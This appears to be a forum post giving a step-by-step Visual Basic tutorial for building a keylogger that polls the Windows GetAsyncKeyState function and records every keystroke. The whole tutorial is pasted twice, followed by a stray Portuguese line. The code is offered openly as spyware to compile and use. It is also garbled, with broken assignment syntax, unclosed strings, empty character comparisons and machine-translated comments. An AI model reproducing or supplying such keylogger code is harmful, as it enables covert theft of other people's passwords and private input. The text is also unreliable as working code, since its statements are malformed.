Hello!*In this tutorial I will explain how to create a keylogger using visual basic 2008/2010.*
the components you will need:*
1 x Timer (Timer1 | enabled = true | interval = 1)*
1 x RichTextBox (name:txtkeys)*
*
in order to get to the coding part, you need to double click on the bar that says form1 (your form).*
first thing you should do is collect data from a dll file called user32*
This can be done by adding the following code to the top of your codelist.*
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer*
We also need a variable to hold the retrieved keys to determine which key is pressed and then*
transfer the pressed key's name to txtkeys*
this variable to make you this code:*Dim result As Integer*
Your code should look like this so far:*
Public Class Form1*
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer*
Dim result As Integer*
Private Sub Form1_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load*
End Sub*
End Class*
Now we want to see which keys are pressed.*You do this by going back to the design of your form and *by double clicking on Timer1*
Now you see that a piece of code has been added.*
Enter this:*
REM Here they look for each character or word*
REM pressed far there are 255 different characters possible*
For i = 1 To 255*
result = 0*
result = GetAsyncKeyState (i) REM here looking at the keys are pressed*
REM from here to check whether the keys are equal to one**
If result = -32767 Then*
If Chr (i) = "(" Then*
txtkeys.Text txtkeys.Text & = "[Down Arrow]*
ElseIf Chr (i) = "%" Then*
txtkeys.Text txtkeys.Text & = "[Arrow Left]"*
ElseIf Chr (i) = "'" Then*
txtkeys.Text txtkeys.Text & = "[Arrow Right]*
ElseIf Chr (i) = "&" Then*
txtkeys.Text txtkeys.Text & = "[Arrow up]"*
ElseIf Chr (i) = "" Then*
txtkeys.Text txtkeys.Text = & "[click mouse left]"*
ElseIf Chr (i) = "" Then*
txtkeys.Text txtkeys.Text & = "[mouseclick right]"*
ElseIf Chr (i) = "" Then*
txtkeys.Text txtkeys.Text & = "[backspace] '*
ElseIf Chr (i) = "."*Then*
txtkeys.Text txtkeys.Text & = "[delete]*
ElseIf Chr (i) = "" Then*
txtkeys.Text txtkeys.Text & = "[shift]"*
ElseIf Chr (i) = "" Then*
txtkeys.Text txtkeys.Text & = "[tab]"*
ElseIf Chr (i) = "¾" Then*
txtkeys.Text txtkeys.Text & = "."*
ElseIf Chr (i) = "¼" Then*
txtkeys.Text txtkeys.Text & = ""*
ElseIf Chr (i) = "¿" Then*
txtkeys.Text txtkeys.Text = & "/"*
REM and re fit it is not a sign or enter a letter or*
REM-returns can not get the signs because that character is in VB*
REM enter even if caught.*
Else*
txtkeys.Text txtkeys.Text & = Chr (i)*
End If*
End If*
Next i*
REM everything there is a comment in VB (compiler) will turn green*
this was the keylogger*
order the exe file of your keylogger to get to your project and save*
then compile and then go into the release directory.
This is done so*
file-> Save All (choose here a place where you want to save the program manages)*
Now press compile*
Build -> build (here the name of your program manages)*
Go now to where you've saved your program manages*
go to*
(The name of your programatje) -> (the name of your program manages) -> bin -> Release*
fiz para uma amiga minha q n sabe port
the components you will need:*
1 x Timer (Timer1 | enabled = true | interval = 1)*
1 x RichTextBox (name:txtkeys)*
*
in order to get to the coding part, you need to double click on the bar that says form1 (your form).*
first thing you should do is collect data from a dll file called user32*
This can be done by adding the following code to the top of your codelist.*
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer*
We also need a variable to hold the retrieved keys to determine which key is pressed and then*
transfer the pressed key's name to txtkeys*
this variable to make you this code:*Dim result As Integer*
Your code should look like this so far:*
Public Class Form1*
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer*
Dim result As Integer*
Private Sub Form1_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load*
End Sub*
End Class*
Now we want to see which keys are pressed.*You do this by going back to the design of your form and *by double clicking on Timer1*
Now you see that a piece of code has been added.*
Enter this:*
REM Here they look for each character or word*
REM pressed far there are 255 different characters possible*
For i = 1 To 255*
result = 0*
result = GetAsyncKeyState (i) REM here looking at the keys are pressed*
REM from here to check whether the keys are equal to one**
If result = -32767 Then*
If Chr (i) = "(" Then*
txtkeys.Text txtkeys.Text & = "[Down Arrow]*
ElseIf Chr (i) = "%" Then*
txtkeys.Text txtkeys.Text & = "[Arrow Left]"*
ElseIf Chr (i) = "'" Then*
txtkeys.Text txtkeys.Text & = "[Arrow Right]*
ElseIf Chr (i) = "&" Then*
txtkeys.Text txtkeys.Text & = "[Arrow up]"*
ElseIf Chr (i) = "" Then*
txtkeys.Text txtkeys.Text = & "[click mouse left]"*
ElseIf Chr (i) = "" Then*
txtkeys.Text txtkeys.Text & = "[mouseclick right]"*
ElseIf Chr (i) = "" Then*
txtkeys.Text txtkeys.Text & = "[backspace] '*
ElseIf Chr (i) = "."*Then*
txtkeys.Text txtkeys.Text & = "[delete]*
ElseIf Chr (i) = "" Then*
txtkeys.Text txtkeys.Text & = "[shift]"*
ElseIf Chr (i) = "" Then*
txtkeys.Text txtkeys.Text & = "[tab]"*
ElseIf Chr (i) = "¾" Then*
txtkeys.Text txtkeys.Text & = "."*
ElseIf Chr (i) = "¼" Then*
txtkeys.Text txtkeys.Text & = ""*
ElseIf Chr (i) = "¿" Then*
txtkeys.Text txtkeys.Text = & "/"*
REM and re fit it is not a sign or enter a letter or*
REM-returns can not get the signs because that character is in VB*
REM enter even if caught.*
Else*
txtkeys.Text txtkeys.Text & = Chr (i)*
End If*
End If*
Next i*
REM everything there is a comment in VB (compiler) will turn green*
this was the keylogger*
order the exe file of your keylogger to get to your project and save*
then compile and then go into the release directory.
This is done so*
file-> Save All (choose here a place where you want to save the program manages)*
Now press compile*
Build -> build (here the name of your program manages)*
Go now to where you've saved your program manages*
go to*
(The name of your programatje) -> (the name of your program manages) -> bin -> Release*
fiz para uma amiga minha q n sabe port
Comment